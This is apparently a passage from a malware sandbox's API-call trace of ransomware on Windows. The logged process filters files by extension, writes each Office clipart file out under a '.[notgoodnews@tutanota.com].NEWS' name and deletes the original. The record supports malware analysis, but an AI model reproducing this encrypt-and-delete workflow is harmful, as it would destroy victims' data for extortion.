lstrlenW (lpString=".dbf") returned 4 [0176.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.920] lstrlenW (lpString=".1cd") returned 4 [0176.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.920] lstrlenW (lpString=".jpg") returned 4 [0176.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.920] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.920] lstrlenW (lpString="J0105502.WMF") returned 12 [0176.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.921] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5472) returned 1 [0176.921] CloseHandle (hObject=0x4e8) returned 1 [0176.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0176.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.922] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.922] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0176.923] GetLastError () returned 0x0 [0176.923] ReadFile (in: hFile=0x4e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1560, lpOverlapped=0x0) returned 1 [0177.134] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1570, lpOverlapped=0x0) returned 1 [0177.135] ReadFile (in: hFile=0x4e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.135] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.135] SetEndOfFile (hFile=0x558) returned 1 [0177.136] CloseHandle (hObject=0x558) returned 1 [0177.136] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.136] SetEndOfFile (hFile=0x4e8) returned 1 [0177.139] CloseHandle (hObject=0x4e8) returned 1 [0177.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0177.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.286] lstrlenW (lpString=".doc") returned 4 [0177.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.286] lstrlenW (lpString=".docx") returned 5 [0177.286] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0177.286] lstrlenW (lpString=".pdf") returned 4 [0177.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.286] lstrlenW (lpString=".xls") returned 4 [0177.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.286] lstrlenW (lpString=".xlsx") returned 5 [0177.286] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0177.286] lstrlenW (lpString=".ppt") returned 4 [0177.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.286] lstrlenW (lpString=".zip") returned 4 [0177.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.286] lstrlenW (lpString=".rar") returned 4 [0177.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.287] lstrlenW (lpString=".bz2") returned 4 [0177.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.287] lstrlenW (lpString=".7z") returned 3 [0177.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.287] lstrlenW (lpString=".dbf") returned 4 [0177.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.287] lstrlenW (lpString=".1cd") returned 4 [0177.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.287] lstrlenW (lpString=".jpg") returned 4 [0177.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.287] lstrlenW (lpString=".doc") returned 4 [0177.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.287] lstrlenW (lpString=".docx") returned 5 [0177.287] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0177.287] lstrlenW (lpString=".pdf") returned 4 [0177.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.287] lstrlenW (lpString=".xls") returned 4 [0177.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.287] lstrlenW (lpString=".xlsx") returned 5 [0177.288] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0177.288] lstrlenW (lpString=".ppt") returned 4 [0177.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.288] lstrlenW (lpString=".zip") returned 4 [0177.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.288] lstrlenW (lpString=".rar") returned 4 [0177.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.288] lstrlenW (lpString=".bz2") returned 4 [0177.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.288] lstrlenW (lpString=".7z") returned 3 [0177.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.288] lstrlenW (lpString=".dbf") returned 4 [0177.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.288] lstrlenW (lpString=".1cd") returned 4 [0177.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0177.288] lstrlenW (lpString=".jpg") returned 4 [0177.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.289] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.289] lstrlenW (lpString="J0105520.WMF") returned 12 [0177.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.291] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=31812) returned 1 [0177.291] CloseHandle (hObject=0x550) returned 1 [0177.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0177.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.292] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.292] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.294] GetLastError () returned 0x0 [0177.294] ReadFile (in: hFile=0x550, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x7c44, lpOverlapped=0x0) returned 1 [0177.344] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0177.346] ReadFile (in: hFile=0x550, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.346] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.347] SetEndOfFile (hFile=0x51c) returned 1 [0177.347] CloseHandle (hObject=0x51c) returned 1 [0177.347] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.347] SetEndOfFile (hFile=0x550) returned 1 [0177.351] CloseHandle (hObject=0x550) returned 1 [0177.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0177.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.353] lstrlenW (lpString=".doc") returned 4 [0177.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.354] lstrlenW (lpString=".docx") returned 5 [0177.354] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0177.354] lstrlenW (lpString=".pdf") returned 4 [0177.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.354] lstrlenW (lpString=".xls") returned 4 [0177.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.354] lstrlenW (lpString=".xlsx") returned 5 [0177.354] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0177.354] lstrlenW (lpString=".ppt") returned 4 [0177.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.354] lstrlenW (lpString=".zip") returned 4 [0177.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.354] lstrlenW (lpString=".rar") returned 4 [0177.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.354] lstrlenW (lpString=".bz2") returned 4 [0177.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.354] lstrlenW (lpString=".7z") returned 3 [0177.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.355] lstrlenW (lpString=".dbf") returned 4 [0177.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.355] lstrlenW (lpString=".1cd") returned 4 [0177.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.355] lstrlenW (lpString=".jpg") returned 4 [0177.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.355] lstrlenW (lpString=".doc") returned 4 [0177.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.355] lstrlenW (lpString=".docx") returned 5 [0177.355] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0177.355] lstrlenW (lpString=".pdf") returned 4 [0177.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.355] lstrlenW (lpString=".xls") returned 4 [0177.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.355] lstrlenW (lpString=".xlsx") returned 5 [0177.355] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0177.355] lstrlenW (lpString=".ppt") returned 4 [0177.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.355] lstrlenW (lpString=".zip") returned 4 [0177.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.356] lstrlenW (lpString=".rar") returned 4 [0177.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.356] lstrlenW (lpString=".bz2") returned 4 [0177.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.356] lstrlenW (lpString=".7z") returned 3 [0177.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.356] lstrlenW (lpString=".dbf") returned 4 [0177.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.356] lstrlenW (lpString=".1cd") returned 4 [0177.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0177.356] lstrlenW (lpString=".jpg") returned 4 [0177.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.357] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.357] lstrlenW (lpString="J0105526.WMF") returned 12 [0177.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.358] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17332) returned 1 [0177.358] CloseHandle (hObject=0x550) returned 1 [0177.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0177.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.359] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.359] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.361] GetLastError () returned 0x0 [0177.361] ReadFile (in: hFile=0x550, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x43b4, lpOverlapped=0x0) returned 1 [0177.401] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x43c0, lpOverlapped=0x0) returned 1 [0177.558] ReadFile (in: hFile=0x550, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.558] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.558] SetEndOfFile (hFile=0x51c) returned 1 [0177.559] CloseHandle (hObject=0x51c) returned 1 [0177.559] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.559] SetEndOfFile (hFile=0x550) returned 1 [0177.563] CloseHandle (hObject=0x550) returned 1 [0177.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0177.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.566] lstrlenW (lpString=".doc") returned 4 [0177.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.566] lstrlenW (lpString=".docx") returned 5 [0177.566] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0177.566] lstrlenW (lpString=".pdf") returned 4 [0177.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.566] lstrlenW (lpString=".xls") returned 4 [0177.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.566] lstrlenW (lpString=".xlsx") returned 5 [0177.566] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0177.566] lstrlenW (lpString=".ppt") returned 4 [0177.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.566] lstrlenW (lpString=".zip") returned 4 [0177.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.566] lstrlenW (lpString=".rar") returned 4 [0177.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.566] lstrlenW (lpString=".bz2") returned 4 [0177.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.566] lstrlenW (lpString=".7z") returned 3 [0177.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.567] lstrlenW (lpString=".dbf") returned 4 [0177.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.567] lstrlenW (lpString=".1cd") returned 4 [0177.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.567] lstrlenW (lpString=".jpg") returned 4 [0177.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.567] lstrlenW (lpString=".doc") returned 4 [0177.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.567] lstrlenW (lpString=".docx") returned 5 [0177.567] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0177.567] lstrlenW (lpString=".pdf") returned 4 [0177.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.567] lstrlenW (lpString=".xls") returned 4 [0177.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.567] lstrlenW (lpString=".xlsx") returned 5 [0177.567] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0177.567] lstrlenW (lpString=".ppt") returned 4 [0177.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.568] lstrlenW (lpString=".zip") returned 4 [0177.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.568] lstrlenW (lpString=".rar") returned 4 [0177.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.568] lstrlenW (lpString=".bz2") returned 4 [0177.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.568] lstrlenW (lpString=".7z") returned 3 [0177.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.568] lstrlenW (lpString=".dbf") returned 4 [0177.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.568] lstrlenW (lpString=".1cd") returned 4 [0177.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft 